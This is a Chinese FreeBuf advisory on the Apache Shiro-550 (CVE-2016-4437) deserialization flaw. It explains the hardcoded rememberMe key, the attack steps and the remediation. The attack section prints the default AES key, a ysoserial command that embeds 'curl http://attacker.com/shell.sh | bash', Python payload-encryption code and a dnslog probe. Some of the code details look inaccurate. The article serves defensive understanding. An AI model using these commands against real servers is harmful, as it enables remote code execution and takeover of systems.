freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2016-4437(Shiro-550)漏洞简述
2025-02-18 15:55:50
所属地 上海

漏洞概述

CVE-2016-4437是Apache Shiro框架中的一个高危远程代码执行(RCE)漏洞。该漏洞源于Shiro的rememberMe身份验证功能使用硬编码的AES加密密钥,导致攻击者能够构造恶意序列化对象并加密后发送至服务器。当服务器解密并反序列化该对象时,可能触发任意代码执行。

漏洞原理

  • RememberMe功能机制:

Shiro的rememberMe功能通过Cookie(名为rememberMe)保持用户的持久登录状态。

Cookie值为用户信息的序列化数据,使用AES加密(CBC模式,PKCS5Padding)。

  • 默认密钥的暴露:

Shiro的默认AES密钥为kPH+bIxk5D2deZiIxcaaaA==(Base64编码),硬编码在框架中。

若开发者未在配置中修改此密钥,攻击者可直接利用该密钥加密恶意Payload。

  • 反序列化漏洞触发:

攻击者构造包含恶意Java对象的序列化数据,使用默认密钥加密后作为rememberMe Cookie发送。

Shiro服务端解密Cookie并反序列化数据,若环境中存在可利用的Gadget链(如Apache Commons Collections),则会执行任意代码。

影响范围

受影响版本:Apache Shiro ≤1.2.5

依赖条件:

使用默认rememberMe加密密钥。

目标应用的Classpath中存在可用的反序列化Gadget链(如commons-collections 3.1/4.0)。

攻击流程

  • 获取或推测密钥:

若目标未修改密钥,直接使用kPH+bIxk5D2deZiIxcaaaA==。

若密钥被修改,需通过其他方式(如信息泄露、爆破)获取。

  • 生成恶意Payload:

使用ysoserial生成Gadget链(如CommonsCollections2):

java -jar ysoserial.jar CommonsCollections2 "curl http://attacker.com/shell.sh | bash" > payload.bin
  • 加密Payload:

使用Shiro的AES加密模式对Payload加密,生成rememberMe Cookie值

from Crypto.Cipher import AES
import base64

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, AES.MODE_CBC, IV=b'\x00'*16)
encrypted = cipher.encrypt(payload_padded)
rememberMe = base64.b64encode(encrypted).decode()
  • 发送恶意请求:

将rememberMe Cookie附加到HTTP请求中:

python shiro_exploit.py -u http://target.com/login --check
  • DNS外带验证:

生成触发DNS查询的Payload(利用URLDNS链):

java -jar ysoserial.jar URLDNS http://dnslog.cn > payload.bin

观察DNS日志是否收到查询记录。

  • 修复方案升级Apache Shiro:

升级至≥1.2.6版本,官方移除了默认密钥强制要求。

  • 自定义强密钥:

在shiro.ini或配置类中设置随机生成的密钥:

securityManager.rememberMeManager.cipherKey = base64:NEW_RANDOM_BASE64_KEY
  • 禁用RememberMe功能(如无需使用):

在配置中关闭rememberMe:

@Bean
public SecurityManager securityManager() {
    DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
    manager.setRememberMeManager(null); // 禁用
    return manager;
}
  • 限制反序列化类:

使用ClassFilterResolver限制允许反序列化的类:

DefaultRememberMeManager rememberMeManager = new DefaultRememberMeManager();
rememberMeManager.setCipherKey(customKey);
rememberMeManager.getCookie().setClassFilter(clazz -> allowedClasses.contains(clazz.getName()));
  • 依赖库安全:

移除或升级存在Gadget链的库(如commons-collections升级至≥3.2.2或4.1)。

  • 防御验证

密钥检查:

确认配置文件中无硬编码默认密钥,且密钥长度符合AES要求(如256位)。

渗透测试:

使用已知Payload尝试攻击,验证防御是否生效。

日志监控:

监控异常反序列化操作日志:

org.apache.shiro.io.SerializationException: Unable to deserialize argument byte array.

总结

CVE-2016-4437暴露了默认加密密钥和反序列化机制的风险组合。修复的核心在于使用自定义密钥、升级依赖库和限制反序列化操作。开发者应遵循最小权限原则,避免信任未经验证的输入,并定期进行安全审计。

# 漏洞 # 渗透测试 # web安全
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录